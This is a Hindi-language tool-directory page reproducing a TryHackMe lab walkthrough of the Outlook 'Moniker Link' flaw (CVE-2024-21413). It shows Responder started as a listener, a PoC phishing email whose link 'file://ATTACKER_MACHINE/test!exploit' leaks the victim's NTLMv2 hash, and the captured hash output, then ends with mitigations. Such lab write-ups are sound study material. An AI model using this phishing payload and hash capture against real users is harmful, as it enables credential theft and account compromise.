Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
tryhackme-monikerlink-writeup — TryHackMe Moniker Link (CVE-2024-21413) वॉकथ्रू: Outlook संरक्षित दृश्य बायपास जिससे एक क्राफ्टेड मोनिकर लिंक के माध्यम से NTLMv2 हैश कैप्चर होता है। | Kitploit
उपकरण/GitHubGitHub/omarmahmoud1024/tryhackme-monikerlink-writeup
फ़िशिंग उपकरणभेद्यता विश्लेषणशोषणफिशिंगCTFलर्निंग और शिक्षालैब और अभ्यास
GitHubomarmahmoud1024/tryhackme-monikerlink-writeup

tryhackme-monikerlink-writeup

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

TryHackMe Moniker Link (CVE-2024-21413) वॉकथ्रू: Outlook संरक्षित दृश्य बायपास जिससे एक क्राफ्टेड मोनिकर लिंक के माध्यम से NTLMv2 हैश कैप्चर होता है।

रिपॉजिटरी देखें
16 दिन पहलेअभी तक समीक्षित नहीं

TryHackMe: Moniker Link — CVE-2024-21413 वॉकथ्रू

TryHackMe की "Moniker Link" रूम का एक पूर्ण वॉकथ्रू: CVE-2024-21413, जो 2024 का Microsoft Outlook भेद्यता है, का उपयोग करके पीड़ित का NTLMv2 हैश उसी पल चुराना जब वे फ़िशिंग ईमेल में एक लिंक पर क्लिक करते हैं — न कोई मैक्रो, न अटैचमेंट, न कोई स्पष्ट सुरक्षा चेतावनी।

CVE-2024-21413 ("Moniker Link") Outlook के file:// लिंक को मान्य (validate) करने के तरीके में एक भेद्यता है, जो Windows OLE "moniker" सिंटैक्स का उपयोग करते हैं (पथ के बाद एक अनुगामी !, जैसे file://host/share!something)। Outlook को बाहरी फ़ाइल लिंक को Protected View के माध्यम से खोलना चाहिए, जो फ़ाइल को सैंडबॉक्स करता है और किसी भी क्रेडेंशियल के लीक होने से पहले उपयोगकर्ता को चेतावनी देता है। अतिरिक्त ! Outlook के अपने URL पार्सर को इतना तोड़ देता है कि वह Protected View को पूरी तरह से छोड़ देता है और लिंक सीधे Windows को सौंप देता है, जो — क्योंकि यह UNC पथ जैसा दिखता है — चुपचाप हमलावर के सर्वर के विरुद्ध SMB प्रमाणीकरण (authentication) का प्रयास करता है। वह प्रमाणीकरण प्रयास पीड़ित के NTLMv2 हैश को लीक कर देता है, इससे पहले कि पीड़ित ने एक सामान्य दिखने वाले लिंक पर क्लिक करने के अलावा कुछ और किया हो।

रूम संरचना

कार्यलक्ष्य
1. ReconCVE को समझना और यह कि moniker-link पार्सिंग बग Protected View को कैसे बायपास करता है
2. लिसनर सेट करनाआउटबाउंड SMB प्रमाणीकरण को पकड़ने के लिए Responder को खड़ा करना
3. Weaponizeएक दुर्भावनापूर्ण moniker लिंक वाला फ़िशिंग ईमेल बनाना
4. डिलीवर करनाईमेल को पीड़ित के मेलबॉक्स में भेजना
5. कैप्चर करनापीड़ित से लिंक पर क्लिक करवाना और उनका NTLMv2 हैश कैप्चर करना

वॉकथ्रू

1. लिसनर सेट करना

root@kitploit:~
responder -I ens5

कुछ भी भेजने से पहले Responder को हमलावर बॉक्स के इंटरफ़ेस पर LLMNR, NBT-NS और DNS पॉइज़निंग सक्षम करके शुरू किया जाता है। यही वास्तव में क्रेडेंशियल लीक को कैप्चर करता है: एक बार जब एक्सप्लॉइट Outlook को हमलावर के IP के विरुद्ध SMB auth का प्रयास करने के लिए धोखा देता है, तो Responder ही दूसरे छोर पर उसे पकड़ने के लिए सुन रहा होता है।

responder ens5 पर सुन रहा है

1. Recon — पीड़ित का मेलबॉक्स

लक्ष्य एक मानक Outlook मेलबॉक्स है, [email protected], जो किसी भी फ़िशिंग ईमेल के आने से पहले अपने सामान्य इनबॉक्स दृश्य में है — यही आधार रेखा है जिससे बाकी रूम काम करती है।

हमले से पहले पीड़ित का Outlook इनबॉक्स

3. Weaponize — एक्सप्लॉइट स्क्रिप्ट

root@kitploit:~
sender_email = '[email protected]'
receiver_email = '[email protected]'
...
<p><a href="file://ATTACKER_MACHINE/test!exploit">Click me</a></p>

एक्सप्लॉइट (CMNatic का सार्वजनिक CVE-2024-21413 PoC) एक छोटी Python स्क्रिप्ट है जो SMTP पर एक HTML ईमेल बनाती और भेजती है। पेलोड पूरी तरह से एक पंक्ति में है: हमलावर की मशीन पर इंगित एक <a href="file://..."> लिंक, जिसके पथ के अंत में !exploit जुड़ा हुआ है। वह अनुगामी ! ही पूरा बग है — यही Outlook के लिंक पार्सर को URL को गलत वर्गीकृत करने और Protected View जाँच को छोड़ने के लिए प्रेरित करता है, जिसे वह सामान्यतः किसी बाहरी फ़ाइल लिंक पर लागू करता है।

nano में exploit.py स्रोत

4. डिलीवर करना — ईमेल भेजना

root@kitploit:~
python3 exploit.py
Enter your attacker email password: attacker
Email delivered

स्क्रिप्ट चलाने से मेल सर्वर पर प्रमाणीकरण होता है और तैयार किया गया ईमेल पीड़ित को भेज दिया जाता है। Email delivered पुष्टि करता है कि यह हमलावर के मेलबॉक्स से सफलतापूर्वक निकल गया।

exploit.py चलाना, ईमेल डिलीवर हुआ

4. डिलीवर करना — पीड़ित के इनबॉक्स में आगमन

ईमेल [email protected] के इनबॉक्स में CMNatic से आता है, विषय CVE-2024-21413, जिसमें "Click me" पढ़ने वाले एक ही हाइपरलिंक के अलावा कुछ नहीं है — न अटैचमेंट, न मैक्रो चेतावनी, न कुछ ऐसा जो आमतौर पर किसी फ़िशिंग फ़िल्टर या सतर्क उपयोगकर्ता को संदिग्ध लगे।

पीड़ित के इनबॉक्स में प्राप्त फ़िशिंग ईमेल

5. कैप्चर करना — पीड़ित लिंक पर क्लिक करता है

"Click me" पर क्लिक करने से Outlook का Windows Explorer त्रुटि संवाद सक्रिय होता है: "We can't find '\10.113.72.84\test!exploit'. Please make sure you're using the correct location or web address." यह त्रुटि वास्तव में इस बात का प्रमाण है कि एक्सप्लॉइट पहले ही काम कर चुका है — जब तक यह संवाद प्रकट होता है, Windows पहले ही उस UNC पथ को SMB के माध्यम से हल करने का प्रयास कर चुका होता है और इस प्रक्रिया में 10.113.72.84 (हमलावर मशीन) पर प्रमाणीकरण कर चुका होता है। दिखाई देने वाली विफलता केवल Explorer द्वारा उस शेयर को खोजने में विफलता है जिसे कभी अस्तित्व में रहने का इरादा नहीं था; क्रेडेंशियल लीक त्रुटि बॉक्स के प्रकट होने से पहले ही चुपचाप हो चुका होता है।

लिंक पर क्लिक करने के बाद Outlook UNC-पथ-नहीं-मिला त्रुटि

5. कैप्चर करना — Responder में हैश कैप्चर हुआ

root@kitploit:~
[SMB] NTLMv2-SSP Username : THM-MONIKERLINK\tryhackme
[SMB] NTLMv2-SSP Hash     : tryhackme::THM-MONIKERLINK:3f2abcd40483ccba:...

हमलावर बॉक्स पर वापस, Responder पहले ही THM-MONIKERLINK\tryhackme के लिए पूर्ण NTLMv2-SSP हैंडशेक कैप्चर कर चुका है, जो 10.113.150.143 (पीड़ित) से आया है। न कोई क्रेडेंशियल प्रॉम्प्ट, न सुरक्षा चेतावनी, और एक साधारण लिंक जैसा दिखने वाले लिंक पर एक क्लिक के अलावा उपयोगकर्ता की कोई कार्रवाई नहीं — जिस क्षण Outlook ने moniker लिंक को गलत तरीके से संभाला, हैश क्रैक करने या रिले करने के लिए तैयार था।

Responder NTLMv2 हैश कैप्चर कर रहा है

उपयोग किए गए उपकरण

  • Responder — LLMNR/NBT-NS/DNS पॉइज़निंग और SMB प्रमाणीकरण कैप्चर
  • एक कस्टम Python SMTP स्क्रिप्ट (CMNatic का CVE-2024-21413 PoC) — दुर्भावनापूर्ण moniker-लिंक ईमेल तैयार और वितरित करती है
  • Microsoft Outlook (पीड़ित क्लाइंट) — भेद्य घटक; Microsoft के फरवरी 2024 पैच से पहले CVE-2024-21413 से प्रभावित संस्करण

मुख्य निष्कर्ष

  • एक अनुगामी वर्ण (!) पूरी भेद्यता थी। CVE-2024-21413 एक अच्छा अनुस्मारक है कि URL/पथ पार्सर सुरक्षा-सीमा बायपास का एक सामान्य स्रोत हैं — एक दोषपूर्ण इनपुट को किसी जाँच को पार करने के लिए जटिल होने की आवश्यकता नहीं है, उसे केवल ऐसे कोड पथ में उतरना होता है जिसे जाँच कवर नहीं करती।
  • Protected View विशेष रूप से इस श्रेणी के हमले को रोकने के लिए मौजूद है, और बग का वास्तविक प्रभाव NTLM लीक के बजाय उसे चुपचाप बायपास करना था — file:// लिंक से NTLM रिले/कैप्चर एक पुरानी तकनीक है; इस CVE को उल्लेखनीय बनाने वाली बात यह थी कि Outlook को बिना किसी चेतावनी के लिंक को सक्रिय नहीं होने देना चाहिए था।
  • NTLM प्रमाणीकरण केवल प्रयास किए जाने मात्र से क्रेडेंशियल लीक करता है, भले ही दूसरे छोर पर "शेयर" मौजूद न हो। पीड़ित ने कभी पासवर्ड दर्ज नहीं किया या लॉगिन प्रॉम्प्ट नहीं देखा; Windows ने UNC पथ को ब्राउज़ करने की कोशिश (और विफल) करने के भाग के रूप में स्वचालित रूप से एक NTLMv2 हैश सौंप दिया।
  • यह पीड़ित के दृष्टिकोण से एक zero-click-adjacent हमला है — बिना अटैचमेंट, बिना मैक्रो, और बिना किसी स्पष्ट लाल झंडे वाले लिंक पर एक क्लिक पर्याप्त था। पैचिंग (Microsoft ने इसे फरवरी 2024 अपडेट में ठीक किया) और अविश्वसनीय होस्ट्स के लिए आउटबाउंड NTLM प्रमाणीकरण अक्षम करना ही दो वास्तविक शमन हैं; अकेले उपयोगकर्ता प्रशिक्षण इसे नहीं रोक सकता था, क्योंकि ईमेल के बारे में कुछ भी असामान्य नहीं लग रहा था।
टूल डाउनलोड करें